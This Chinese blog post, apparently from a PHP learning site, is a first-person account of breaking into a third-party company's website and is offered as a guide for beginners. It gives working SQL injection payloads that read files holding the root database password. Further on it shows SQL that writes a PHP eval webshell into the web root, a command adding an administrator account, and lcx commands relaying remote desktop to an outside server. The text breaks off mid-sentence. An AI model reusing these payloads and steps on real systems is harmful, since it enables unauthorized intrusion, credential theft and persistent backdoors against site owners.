来源:自学PHP网 时间:2015-04-17 15:08 作者: 阅读:次
[导读] 今天下午正在搞国外网站的时候群里小寒Q我,问我对PHP的注入有没有兴趣,本人对PHP的注射经验不是很多,难得就机会练手,便答应了小寒,注入点给了我,并且还告诉我是root权限的,...
今天下午正在搞国外网站的时候群里小寒Q我,问我对PHP的注入有没有兴趣,本人对PHP的注射经验不是很多,难得就机会练手,便答应了小寒,注入点给了我,并且还告诉我是root权限的,听到这个就更想瞧瞧了,有root的权限说不定还能提权拿服务呢 呵呵!! 打开网站看了下,发现是个传媒公司的,然后直接用注入点load_file读取文件,直接奔MYSQL账号密码去了,既然知道是root权限了,那还是直接拿root密码,不用去爆表明找后台什么的了。因为是注入点,首先肯定是load_file当前出现注入的这个文件了,因为这个文件有执行数据库操作,必定要连接数据库的了,而我们都知道在一个网站系统中,数据库的链接都是放到一个文件中,然后在需要连接数据库进行数据库操作的页面中包含该文件即可。 之前小寒已经爆出了网站的路径是D:APMServAPMServ5.2.6wwwhtdocs,当前注入页面为D:APMServAPMServ5.2.6wwwhtdocsproductsprod_detil.php,转换成hex提交:/prod_detil.php?infoid=29 and 1=2 union select 1,2,3,4,5,load_file(0x443A5C41504D536572765C41504D53657276352E322E365C7777775C6874646F63735C70726F64 756374735C70726F645F646574696C2E706870 页面的源码就直接爆出来了,有时候使用load_file函数读取文件时候会发现是空白,遇到这样的情况就去查看网页源代码就能看到内容了,不过现在这里只能显示部分源码,为了看到跟多的能容我用了substring函数,这个还是之前群里的handsome教我的,用法substring(load_file(hex),2,800),既是截取laod_file文件的第2个字符到800字符之间的内容,继续提交:/prod_detil.php?infoid=29 and 1=2 union select 1,2,3,4,5,substring(load_file(0x443A5C41504D536572765C41504D53657276352E322E365C7777775C6874646F63735C70726F64756 374735C70726F645F646574696C2E706870 这次就能看到页面前面部分的内容了,一般包含文件代码都写在页面的前面部分,所这里在页面前部分能看到包含了一个global.inc.php的文件,位于上一级目录下,既是:D:APMServAPMServ5.2.6wwwhtdocsglobal.inc.php,将其转换成hex再继续提交load:/prod_detil.php?infoid=29 and 1=2 union select 1,2,3,4,5,substring(load_file(0x443A5C41504D536572765C41504D53657276352E322E365C7777775C6874646F63735C676 C6F62616C5F696E632E706870 在扩大了下substring函数范围后可以看到文件中有数据库链接的注释,紧接着下面就是数据库链接文件的路径了:D:APMServAPMServ5.2.6wwwhtdocsadminincconn.php,转换hex继续提交:/prod_detil.php?infoid=29 and 1=2 union select 1,2,3,4,5,substring(load_file(0x443A5C41504D536572765C41504D53657276352E322E365C7777775C6874646F63735C6164 6D696E5C696E635C636F6E6E2E706870 这次就爆出了root的密码了,现在有了root的密码后就可以尝试远程连接到服务器的MYSQL数据库,然后导出一句话到网站目录下了,这个站在之前检测的时候我也尝试过直接into outfile,但是魔术转换有开启,没有成功,唯一的办法就是拿到root密码远程连接后执行导出,在mysql命令提示符中魔术转换是没用的,那个只针对网站程序来的。但是在远程连接的时候却出了问题。 看来是MYSQL禁止了远程连接,到了这里整个过程就陷入困境了,数据库禁止了远程连接,那是用root导出一句话岂不是就没希望了?当时冷静了下,突然想到php不是有个phpmyadmin吗?不知道这个站有没有呢?于是抱着试一试的态度在网址后面加上了个phpmyadmin的路径。
看来人品还是蛮不错的,直接使用root密码登陆了上去,现在有了phpmyadmin的后台管理,而且登陆账号还是root,那在这里照样能到处一句话木马文件到网站根目录下,接下来就要用到继续MYSQL的命令了。 select version(); show databases; create database tst; use tst; create table cmd(c text); insert into cmd values(<?php eval($_POST[cmd])?>); select * from cmd into outfile D:\APMServ\APMServ5.2.6\www\htdocs\test.php; drop database tst; exit D:\APMServ\APMServ5.2.6\www\htdocs\test.php 为导出后的路径,将以上代码在phpmyadmin后台中随便选择个数据库然后执行SQL。 虽然提示了错误,不过test.php文件还是老老实实的导出到了网站根目录下,接下来就是php一句话客户端连接上传webshell了,到此网站的webshell我是拿下了,不过在后来提权的时候却出了问题,服务器的权限还未拿到,当时上了mysql backdoor上去导出dll文件成功,但是没法执行命令,另外传一个利用工具却被杀了,看来服务器上的的杀软比较强悍。不过后来看了下服务器的目录权限是非常大的,system32目录都居然有写入权限,哈哈。我想服务器提权应该还是没问题的,暂时就没有去搞,先把这个过程写出来,下来再慢慢去搞了。 对于php+mysql的注入本人经验也不过,可以说是根本没什么经验,本文的技术含量也不高,写出来的目的还是给广大菜鸟朋友们看的,利用方法比较简单,希望菜鸟朋友们都能看懂。 =========================================================================== 序文: 之前下午拿下webshell后就写了文章发出来,后来有事出去了下,晚上回来坐电脑面前又想起了这个站,因root权限情况下没有拿到服务器有点遗憾,于是便再次上webshell看了下。
这个是使用MYSQL利用工具时候的,dll文件是导出来了,但就是没法打开。具体原因我也不清楚,我对于MYSQL提权最多的也只会这招,当时发现这个没法利用了后顿时就再也没有其他思路了。知道晚上回来上shell的时候突然想起下午发现他的system32目录都有写入权限?拿administrator账号的启动目录估计也能写入,这样的话我就可以写入一个比处理或者一个VBS脚本上去提权了,于是测试了下往c:Documents and SettingsAdministrator「开始」菜单\程序启动 目录写入一个文件,发现还真可以写入,这下提权思路就有了,可以在这个目录下写入个批处理和VBS脚本来提权。但是转念一想,这个批处理或者VBS应该怎么写呢?因为现在对服务器信息掌握还不完全,特别是终端情况,而且服务器说不定还是个内网。 考虑到这个问题后我还是要想办法先搞清楚服务器的网络环境以及终端情况才能针对性的写提权脚本,于是变传了个cmd到服务器上使用shell执行查看了下服务器信息,发现服务器还真是个内网,不过终端端口有开放。 不过在执行查询服务器信息命令的同时我还顺便测试了下添加账号的命令,结果没想到的是执行net user invader 123456 /add 后居然提示我命令成功完成。。。 真是够杯具的了,前不久有遇到过asp的shell直接添加用户的情况,这次php的shell直接添加用户今天还是第一次遇见啊,看来这个shell的权限还真不是一般的大。既然添加用户的命令能执行的话那执行应用程序那也肯定是没问题的了,现在就是上lcx转发上终端了,上了个lcx.exe文件,然后到我一个外网服务器上执行 lcx -listen 3380 3381,再到服务器上执行c:lcx.exe -slave 203.171.232.197 3380 10.10.254.100 3389,执行后webshell出现假死状况,凭经验这个应该是执行成功了,然后远程终端连接到203.171.2 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com